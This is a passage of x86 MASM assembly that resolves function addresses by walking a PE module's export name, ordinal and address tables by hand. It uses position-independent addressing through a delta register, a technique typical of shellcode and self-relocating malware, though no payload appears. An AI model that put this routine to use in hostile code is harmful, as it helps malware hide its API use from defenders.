    add	esi, baseAddress
    mov	EAT, esi				; Save AddressOfFunctions
    mov	esi, [edi+36]			; pointer (RVA) to EOT
    add	esi, baseAddress
    mov	EOT, esi				; Save Address of EOT

    mov	esi, [edi+32]			; pointer (RVA) to AddressOfNames (ENT)
    add	esi, baseAddress		      ; access to ENT

    ;; Loop on Export name table
    xor			ecx, ecx

showfunction:
    mov	ebx, baseAddress		     ; Get BA
    add	ebx, [esi + ecx]		     ; Get string pointer
    add	ecx, 4
	
    invoke	strcmp, funcName, ebx
    cmp	eax, 1
    je	found
    	
    cmp	ecx, edx
    jne	showfunction
    mov     eax, 0
    ret
	
found:
    sub	ecx, 4
	
    ;; GetProcAddress
    mov	esi, EOT				; Get EOT
    shr	ecx, 1				; /2 cause of WORD alignment for EOT
    movzx	ecx, word ptr [esi+ecx]       ; Get index in EAT from EOT
    imul	ecx, 4				; index * 4
    mov	esi, EAT				; Get address (NOT RVA)of EAT	
    mov	esi, [esi+ecx]			; get rva of function

    add	esi, baseAddress	
    mov	eax, esi
	
    pop	edx
    pop	ecx
    pop	ebx
    pop	edi
    pop	esi
    ret
getFuncAddr endp

strcmp proc s1:DWORD, s2:DWORD

	;; Save register
	push	esi
	push	ebx
	push	ecx
	push	edx
	
	xor	esi, esi
	
	mov	eax, s1
	mov	ebx, s2
next:
	;; Fill buffers
	xor	ecx, ecx
	xor	edx, edx
	mov	cl, byte ptr [eax+esi]
	mov	dl, byte ptr [ebx+esi]
	
	;; Inc counter
	add	esi, 1
	
	;; Escape if end or not equal
	cmp	cl, 0
	je	escape
	cmp	dl, 0
	je	escape
	cmp	cl, dl
	jne	escape
	jmp	next

escape:
	cmp	dl, cl
	jne	notfound
	mov	eax, 1
	jmp	recover
	
notfound:
	mov	eax, 0
	
recover:
	pop	edx
	pop	ecx
	pop	ebx
	pop	esi
    ret 
strcmp ENDP


recoverFuncAddress proc KBAdr:DWORD, FuncStr:DWORD
    mov     eax, FuncStr
    add     eax, edi
    push	eax
    push	KBAdr
    call	getFuncAddr
    cmp	eax, 0
    je	endgetfctaddr
    ret
endgetfctaddr:
    mov     eax, 0
    ret
recoverFuncAddress endp


getPicInEax proc adress:DWORD
    mov     eax, adress
    add     eax, edi
    ret
getPicInEax endp


;pushPicWithEax proc adress:DWORD
;    mov     eax, adress
;    add     eax, edi
;    push    eax
;    ret
;pushPicWithEax endp

endcode:


end	start


